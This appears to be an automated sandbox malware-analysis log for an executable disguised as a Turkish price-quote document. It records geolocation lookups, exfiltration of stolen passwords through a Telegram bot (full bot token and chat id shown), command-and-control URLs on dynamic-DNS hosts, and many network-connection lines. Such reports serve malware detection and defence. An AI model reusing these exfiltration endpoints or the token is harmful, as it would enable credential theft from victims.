Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:045012%0D%0ADate%20and%20Time:%2006/01/2025%20/%2019:42:00%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20045012%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Source: unknown

HTTP traffic detected: POST /bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-4517865277&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd2ee5cc25f03bHost: api.telegram.orgContent-Length: 584

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Mon, 06 Jan 2025 12:57:12 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4575972771.0000000002C60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.38.247.67:8081/_send_.php?L
Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000000.00000002.2143245701.0000000003D52000.00000004.00000800.00020000.00000000.sdmp, fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4574272447.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded
Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000000.00000002.2143245701.0000000003D52000.00000004.00000800.00020000.00000000.sdmp, fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4575972771.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp, fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4574272447.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://aborters.duckdns.org:8081
Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000000.00000002.2143245701.0000000003D52000.00000004.00000800.00020000.00000000.sdmp, fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4575972771.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp, fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4574272447.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://anotherarmy.dns.army:8081
Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4575972771.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000000.00000002.2143245701.0000000003D52000.00000004.00000800.00020000.00000000.sdmp, fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4574272447.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/q
Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4575486230.00000000010DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/
Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4575359504.000000000107B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4582180105.000000000632E000.00000004.00000020.00020000.00000000.sdmp, fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4582180105.00000000062F0000.00000004.00000020.00020000.00000000.sdmp, 77EC63BDA74BD0D0E0426DC8F80085060.4.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4582180105.00000000062F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab=
Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4575088351.0000000001026000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?30c109c411b45
Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4582180105.000000000632E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?929ead6ef597b
Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4575486230.00000000010DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/o
Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000000.00000002.2142055553.0000000002BE7000.00000004.00000800.00020000.00000000.sdmp, fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4575972771.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000000.00000002.2143245701.0000000003D52000.00000004.00000800.00020000.00000000.sdmp, fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4575972771.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp, fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4574272447.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://varders.kozow.com:8081
Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4579936921.0000000003BC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4575972771.0000000002DFF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000000.00000002.2143245701.0000000003D52000.00000004.00000800.00020000.00000000.sdmp, fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4575972771.0000000002DFF000.00000004.00000800.00020000.00000000.sdmp, fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4574272447.0000000000402000.00000040.00000400.00020000.00000000.sdmp, fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4575972771.0000000002C4B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4575972771.0000000002DFF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-451
Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	String found in binary or memory: https://bank.gov.ua/NBUStatService/v1/statdirectory/exchange?valcode=
Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4579936921.0000000003BC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4579936921.0000000003BC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4579936921.0000000003BC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4575972771.0000000002C60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en
Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4579936921.0000000003BC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4579936921.0000000003BC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4579936921.0000000003BC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000000.00000002.2143245701.0000000003D52000.00000004.00000800.00020000.00000000.sdmp, fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4575972771.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp, fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4574272447.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4579936921.0000000003BC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4579936921.0000000003BC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4575972771.0000000002C60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/

Source: unknown	Network traffic detected: HTTP traffic on port 62756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 62699 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62653 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62676 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62718
Source: unknown	Network traffic detected: HTTP traffic on port 62618 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62710
Source: unknown	Network traffic detected: HTTP traffic on port 62585 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62609
Source: unknown	Network traffic detected: HTTP traffic on port 62629 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62642 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62601
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62602
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62603
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62604
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62605
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62606
Source: unknown	Network traffic detected: HTTP traffic on port 62688 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62550 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62607
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62728
Source: unknown	Network traffic detected: HTTP traffic on port 62527 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62608
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 62596 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62600
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 62561 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62612
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62613
Source: unknown	Network traffic detected: HTTP traffic on port 62687 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62614
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62615
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62736
Source: unknown	Network traffic detected: HTTP traffic on port 62792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62616
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62617
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62618
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62619
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 62597 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62631 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62574 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62654 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62610
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 62744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62611
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62732
Source: unknown	Network traffic detected: HTTP traffic on port 62711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62606 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62549 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62623
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62624
Source: unknown	Network traffic detected: HTTP traffic on port 62722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62504 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62504
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62625
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62626
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62627
Source: unknown	Network traffic detected: HTTP traffic on port 62665 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62628
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62629
Source: unknown	Network traffic detected: HTTP traffic on port 62617 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62620
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62621
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62742
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62622
Source: unknown	Network traffic detected: HTTP traffic on port 62781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62548 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62620 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62586 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62560 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62698 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 62652 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 62608 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62663 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62619 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62575 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62697 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 62607 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62641 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62664 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62559 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62709
Source: unknown	Network traffic detected: HTTP traffic on port 62587 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62686 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62700
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62701
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62702
Source: unknown	Network traffic detected: HTTP traffic on port 62768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62707
Source: unknown	Network traffic detected: HTTP traffic on port 62701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 62598 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62630 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62680
Source: unknown	Network traffic detected: HTTP traffic on port 62718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62557
Source: unknown	Network traffic detected: HTTP traffic on port 62662 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62678
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62558
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62679
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62559
Source: unknown	Network traffic detected: HTTP traffic on port 62576 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62685 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62670
Source: unknown	Network traffic detected: HTTP traffic on port 62788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62550
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62671
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62551
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62672
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62552
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62673
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62553
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62674
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62554
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62675
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62555
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62676
Source: unknown	Network traffic detected: HTTP traffic on port 62599 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62556
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62677
Source: unknown	Network traffic detected: HTTP traffic on port 62742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62690
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62570
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62691
Source: unknown	Network traffic detected: HTTP traffic on port 62776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62547 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62604 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62568
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62689
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62569
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62560
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62681
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62561
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62682
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62562
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62683
Source: unknown	Network traffic detected: HTTP traffic on port 62558 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62684
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62685
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62565
Source: unknown	Network traffic detected: HTTP traffic on port 62615 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62686
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62566
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62687
Source: unknown	Network traffic detected: HTTP traffic on port 62707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62567
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62688
Source: unknown	Network traffic detected: HTTP traffic on port 62674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62626 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62651 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62546 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62580
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62581
Source: unknown	Network traffic detected: HTTP traffic on port 62569 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62588 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62603 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62579
Source: unknown	Network traffic detected: HTTP traffic on port 62639 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62571
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62692
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62572
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62693
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62573
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62694
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62695
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62574
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62575
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62696
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62576
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62697
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62577
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62698
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62578
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62699
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62590
Source: unknown	Network traffic detected: HTTP traffic on port 62696 -> 443
